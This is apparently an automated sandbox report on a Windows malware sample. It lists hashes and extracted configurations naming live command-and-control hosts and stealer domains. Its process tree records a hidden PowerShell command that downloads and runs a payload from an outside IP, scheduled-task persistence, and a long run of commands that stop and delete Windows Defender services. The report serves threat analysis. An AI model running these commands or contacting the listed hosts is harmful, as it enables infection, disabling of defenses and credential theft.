Overview

overview

10

Static

static

5

2025-04-06...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/04/2025, 14:58

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    ebbfde535259121763840a367a9c1a92

  • SHA1

    df427a54057634b350520cc472faf3813f59925e

  • SHA256

    a40db67ec008dbdbf87fd6c304948096b6bf9f2fa07b6ea9d5e71b59bfdde574

  • SHA512

    60676876c53cdea75c8b6b0ca67308599c30b91fccfa363802659b02e1acb1ba89c94f762ccc9ea1365bd800a81bf5fc5bdafc2a87442f27c1cff1681319d7f0

  • SSDEEP

    24576:eqDEvCTbMWu7rQYlBQcBiT6rprG8a4Ku:eTvC/MTQYxsWR7a4K

Score
10/10
amadeydarkvisiongcleanerlumma092155bootkitdefense_evasiondiscoveryexecutionexploitloaderpersistenceratspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://plantainklj.run/opafg

https://jrxsafer.top/shpaoz

https://puerrogfh.live/iqwez

https://quavabvc.top/iuzhd

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://rambutanvcx.run/adioz

https://ywmedici.top/noagis

https://synmedsp.live/lzkdj

https://cosmosyf.top/GOsznj

https://yjrxsafer.top/shpaoz

https://krxspint.digital/kendwz

https://rhxhube.run/pogrs

https://grxeasyw.digital/xxepw

https://xrfxcaseq.live/gspaz

https://pepperiop.digital/oage

https://oquavabvc.top/iuzhd

https://6yhtargett.top/dsANGt

https://8yrambutanvcx.run/adioz

https://-puerrogfh.live/iqwez

Extracted

Family

gcleaner

C2

185.156.73.98

45.91.200.135

Extracted

Family

darkvision

C2

82.29.67.160

Attributes
  • url

    http://107.174.192.179/data/003

    https://grabify.link/ZATFQO

    http://107.174.192.179/clean

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • DarkVision Rat

    DarkVision Rat is a trojan written in C++.

    ratdarkvision
  • Darkvision family
    darkvision
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies security service 2 TTPs 2 IoCs
    defense_evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs
    defense_evasion
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 19 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Sets service image path in registry 2 TTPs 2 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks BIOS information in registry 2 TTPs 20 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 37 IoCs
  • Identifies Wine through registry keys 2 TTPs 9 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
    defense_evasion
  • Loads dropped DLL 19 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe 38 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 55 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 18 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of FindShellTrayWindow 38 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3012
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn lvpi3malHw4 /tr "mshta C:\Users\Admin\AppData\Local\Temp\4PJkfgFat.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2580
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn lvpi3malHw4 /tr "mshta C:\Users\Admin\AppData\Local\Temp\4PJkfgFat.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2996
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\4PJkfgFat.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4668
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YRCJWHAT4V8MYPMO95VABEA5FAQT0RSG.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2908
        • C:\Users\Admin\AppData\Local\TempYRCJWHAT4V8MYPMO95VABEA5FAQT0RSG.EXE
          "C:\Users\Admin\AppData\Local\TempYRCJWHAT4V8MYPMO95VABEA5FAQT0RSG.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2248
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:5600
            • C:\Users\Admin\AppData\Local\Temp\10475710101\5uMVCoG.exe
              "C:\Users\Admin\AppData\Local\Temp\10475710101\5uMVCoG.exe"
              6⤵
              • Checks computer location settings
              • Drops startup file
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3944
              • C:\Windows\System32\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "5uMVCoG" /tr "C:\Users\Admin\AppData\Roaming\5uMVCoG.exe"
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3536
            • C:\Users\Admin\AppData\Local\Temp\10477200101\mtCxnCB.exe
              "C:\Users\Admin\AppData\Local\Temp\10477200101\mtCxnCB.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2684
            • C:\Users\Admin\AppData\Local\Temp\10479130101\crypted.exe
              "C:\Users\Admin\AppData\Local\Temp\10479130101\crypted.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:3924
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                7⤵
                  PID:4548
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  7⤵
                    PID:3260
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3124
                • C:\Users\Admin\AppData\Local\Temp\10479390101\c2ba09e553.exe
                  "C:\Users\Admin\AppData\Local\Temp\10479390101\c2ba09e553.exe"
                  6⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:5660
                  • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                    "C:\Users\Admin\AppData\Local\Temp\10479390101\c2ba09e553.exe"
                    7⤵
                    • Downloads MZ/PE file
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:1320
                • C:\Users\Admin\AppData\Local\Temp\10479400101\1064275d4a.exe
                  "C:\Users\Admin\AppData\Local\Temp\10479400101\1064275d4a.exe"
                  6⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:392
                  • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                    "C:\Users\Admin\AppData\Local\Temp\10479400101\1064275d4a.exe"
                    7⤵
                    • Downloads MZ/PE file
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:1228
                • C:\Users\Admin\AppData\Local\Temp\10479410101\3b0904dcf7.exe
                  "C:\Users\Admin\AppData\Local\Temp\10479410101\3b0904dcf7.exe"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:4752
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:5704
                • C:\Users\Admin\AppData\Local\Temp\10479420101\fb7b18f82b.exe
                  "C:\Users\Admin\AppData\Local\Temp\10479420101\fb7b18f82b.exe"
                  6⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3524
                • C:\Users\Admin\AppData\Local\Temp\10479430101\520fa0d888.exe
                  "C:\Users\Admin\AppData\Local\Temp\10479430101\520fa0d888.exe"
                  6⤵
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  PID:1512
                • C:\Users\Admin\AppData\Local\Temp\10479440101\6f3157bcfb.exe
                  "C:\Users\Admin\AppData\Local\Temp\10479440101\6f3157bcfb.exe"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  PID:5576
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM firefox.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5888
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM chrome.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4292
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM msedge.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4872
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM opera.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5720
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM brave.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4496
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                    7⤵
                      PID:3480
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                        8⤵
                        • Checks processor information in registry
                        • Modifies registry class
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        • Suspicious use of SetWindowsHookEx
                        PID:6052
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2004 -prefsLen 27099 -prefMapHandle 2008 -prefMapSize 270279 -ipcHandle 2092 -initialChannelId {25e6f455-bb40-491a-b953-ab0075d0f5dc} -parentPid 6052 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6052" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                          9⤵
                            PID:5312
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2500 -prefsLen 27135 -prefMapHandle 2504 -prefMapSize 270279 -ipcHandle 2512 -initialChannelId {58557efe-1058-4206-af69-70a1b06f3820} -parentPid 6052 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6052" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                            9⤵
                              PID:6108
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3948 -prefsLen 25164 -prefMapHandle 3952 -prefMapSize 270279 -jsInitHandle 3956 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3964 -initialChannelId {c93d3058-42a6-42e5-94b5-b3f4c316f2c9} -parentPid 6052 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6052" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                              9⤵
                              • Checks processor information in registry
                              PID:1008
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4180 -prefsLen 27276 -prefMapHandle 4184 -prefMapSize 270279 -ipcHandle 4252 -initialChannelId {ddac918a-c940-4c5c-8dd5-72aef5404e24} -parentPid 6052 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6052" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                              9⤵
                                PID:1444
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4488 -prefsLen 34775 -prefMapHandle 4492 -prefMapSize 270279 -jsInitHandle 4496 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3048 -initialChannelId {9b029a3e-5fc1-4914-be9f-7072952a483e} -parentPid 6052 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6052" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                                9⤵
                                • Checks processor information in registry
                                PID:1492
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4980 -prefsLen 35012 -prefMapHandle 4984 -prefMapSize 270279 -ipcHandle 4992 -initialChannelId {232bcfbd-bdfd-4de5-902d-e96a8348890b} -parentPid 6052 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6052" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                                9⤵
                                • Checks processor information in registry
                                PID:1136
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3176 -prefsLen 32952 -prefMapHandle 3180 -prefMapSize 270279 -jsInitHandle 3184 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5548 -initialChannelId {0c3096e8-2e8d-45f9-a4a7-347d28506d22} -parentPid 6052 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6052" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                                9⤵
                                • Checks processor information in registry
                                PID:4856
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5760 -prefsLen 32952 -prefMapHandle 5764 -prefMapSize 270279 -jsInitHandle 5768 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5776 -initialChannelId {813b4418-5b99-438d-89ee-88cf76b630a6} -parentPid 6052 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6052" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                                9⤵
                                • Checks processor information in registry
                                PID:4504
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5948 -prefsLen 32952 -prefMapHandle 5952 -prefMapSize 270279 -jsInitHandle 5956 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5964 -initialChannelId {7ff4125d-8db0-4393-be71-f95f99fbc4d3} -parentPid 6052 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6052" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                                9⤵
                                • Checks processor information in registry
                                PID:5520
                        • C:\Users\Admin\AppData\Local\Temp\10479450101\5d5cf16cb8.exe
                          "C:\Users\Admin\AppData\Local\Temp\10479450101\5d5cf16cb8.exe"
                          6⤵
                          • Checks computer location settings
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          PID:3468
                          • C:\Users\Admin\AppData\Local\Temp\272.exe
                            "C:\Users\Admin\AppData\Local\Temp\272.exe"
                            7⤵
                            • Checks computer location settings
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:3424
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\846D.tmp\846E.tmp\846F.bat C:\Users\Admin\AppData\Local\Temp\272.exe"
                              8⤵
                                PID:4192
                                • C:\Users\Admin\AppData\Local\Temp\272.exe
                                  "C:\Users\Admin\AppData\Local\Temp\272.exe" go
                                  9⤵
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  PID:396
                                  • C:\Windows\system32\cmd.exe
                                    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8548.tmp\8549.tmp\854A.bat C:\Users\Admin\AppData\Local\Temp\272.exe go"
                                    10⤵
                                    • Drops file in Program Files directory
                                    PID:3256
                                    • C:\Windows\system32\sc.exe
                                      sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                                      11⤵
                                      • Launches sc.exe
                                      PID:5208
                                    • C:\Windows\system32\sc.exe
                                      sc start ddrver
                                      11⤵
                                      • Launches sc.exe
                                      PID:1672
                                    • C:\Windows\system32\timeout.exe
                                      timeout /t 1
                                      11⤵
                                      • Delays execution with timeout.exe
                                      PID:5888
                                    • C:\Windows\system32\sc.exe
                                      sc stop ddrver
                                      11⤵
                                      • Launches sc.exe
                                      PID:3884
                                    • C:\Windows\system32\sc.exe
                                      sc start ddrver
                                      11⤵
                                      • Launches sc.exe
                                      PID:5388
                                    • C:\Windows\system32\takeown.exe
                                      takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                                      11⤵
                                      • Possible privilege escalation attempt
                                      • Modifies file permissions
                                      PID:5464
                                    • C:\Windows\system32\icacls.exe
                                      icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                                      11⤵
                                      • Possible privilege escalation attempt
                                      • Modifies file permissions
                                      PID:4776
                                    • C:\Windows\system32\sc.exe
                                      sc stop "WinDefend"
                                      11⤵
                                      • Launches sc.exe
                                      PID:2288
                                    • C:\Windows\system32\sc.exe
                                      sc delete "WinDefend"
                                      11⤵
                                      • Launches sc.exe
                                      PID:4880
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                                      11⤵
                                        PID:4724
                                      • C:\Windows\system32\sc.exe
                                        sc stop "MDCoreSvc"
                                        11⤵
                                        • Launches sc.exe
                                        PID:1920
                                      • C:\Windows\system32\sc.exe
                                        sc delete "MDCoreSvc"
                                        11⤵
                                        • Launches sc.exe
                                        PID:5432
                                      • C:\Windows\system32\reg.exe
                                        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                                        11⤵
                                          PID:5300
                                        • C:\Windows\system32\sc.exe
                                          sc stop "WdNisSvc"
                                          11⤵
                                          • Launches sc.exe
                                          PID:4280
                                        • C:\Windows\system32\sc.exe
                                          sc delete "WdNisSvc"
                                          11⤵
                                          • Launches sc.exe
                                          PID:3096
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                                          11⤵
                                            PID:4824
                                          • C:\Windows\system32\sc.exe
                                            sc stop "Sense"
                                            11⤵
                                            • Launches sc.exe
                                            PID:5400
                                          • C:\Windows\system32\sc.exe
                                            sc delete "Sense"
                                            11⤵
                                            • Launches sc.exe
                                            PID:1348
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                                            11⤵
                                              PID:3740
                                            • C:\Windows\system32\sc.exe
                                              sc stop "wscsvc"
                                              11⤵
                                              • Launches sc.exe
                                              PID:5728
                                            • C:\Windows\system32\sc.exe
                                              sc delete "wscsvc"
                                              11⤵
                                              • Launches sc.exe
                                              PID:4120
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                                              11⤵
                                              • Modifies security service
                                              PID:5604
                                            • C:\Windows\system32\sc.exe
                                              sc stop "SgrmBroker"
                                              11⤵
                                              • Launches sc.exe
                                              PID:1420
                                            • C:\Windows\system32\sc.exe
                                              sc delete "SgrmBroker"
                                              11⤵
                                              • Launches sc.exe
                                              PID:4708
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                                              11⤵
                                                PID:1124
                                              • C:\Windows\system32\sc.exe
                                                sc stop "SecurityHealthService"
                                                11⤵
                                                • Launches sc.exe
                                                PID:1152
                                              • C:\Windows\system32\sc.exe
                                                sc delete "SecurityHealthService"
                                                11⤵
                                                • Launches sc.exe
                                                PID:1532
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                                11⤵
                                                  PID:1032
                                                • C:\Windows\system32\sc.exe
                                                  sc stop "webthreatdefsvc"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:4452
                                                • C:\Windows\system32\sc.exe
                                                  sc delete "webthreatdefsvc"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:2384
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                                  11⤵
                                                    PID:4236
                                                  • C:\Windows\system32\sc.exe
                                                    sc stop "webthreatdefusersvc"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:4884
                                                  • C:\Windows\system32\sc.exe
                                                    sc delete "webthreatdefusersvc"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:452
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                                    11⤵
                                                      PID:5936
                                                    • C:\Windows\system32\sc.exe
                                                      sc stop "WdNisDrv"
                                                      11⤵
                                                      • Launches sc.exe
                                                      PID:1672
                                                    • C:\Windows\system32\sc.exe
                                                      sc delete "WdNisDrv"
                                                      11⤵
                                                      • Launches sc.exe
                                                      PID:232
                                                    • C:\Windows\system32\reg.exe
                                                      reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                                      11⤵
                                                        PID:208
                                                      • C:\Windows\system32\sc.exe
                                                        sc stop "WdBoot"
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:4620
                                                      • C:\Windows\system32\sc.exe
                                                        sc delete "WdBoot"
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:2388
                                                      • C:\Windows\system32\reg.exe
                                                        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                                        11⤵
                                                          PID:4356
                                                        • C:\Windows\system32\sc.exe
                                                          sc stop "WdFilter"
                                                          11⤵
                                                          • Launches sc.exe
                                                          PID:3292
                                                        • C:\Windows\system32\sc.exe
                                                          sc delete "WdFilter"
                                                          11⤵
                                                          • Launches sc.exe
                                                          PID:1548
                                                        • C:\Windows\system32\reg.exe
                                                          reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                                          11⤵
                                                            PID:4516
                                                          • C:\Windows\system32\sc.exe
                                                            sc stop "SgrmAgent"
                                                            11⤵
                                                            • Launches sc.exe
                                                            PID:5448
                                                          • C:\Windows\system32\sc.exe
                                                            sc delete "SgrmAgent"
                                                            11⤵
                                                            • Launches sc.exe
                                                            PID:3240
                                                          • C:\Windows\system32\reg.exe
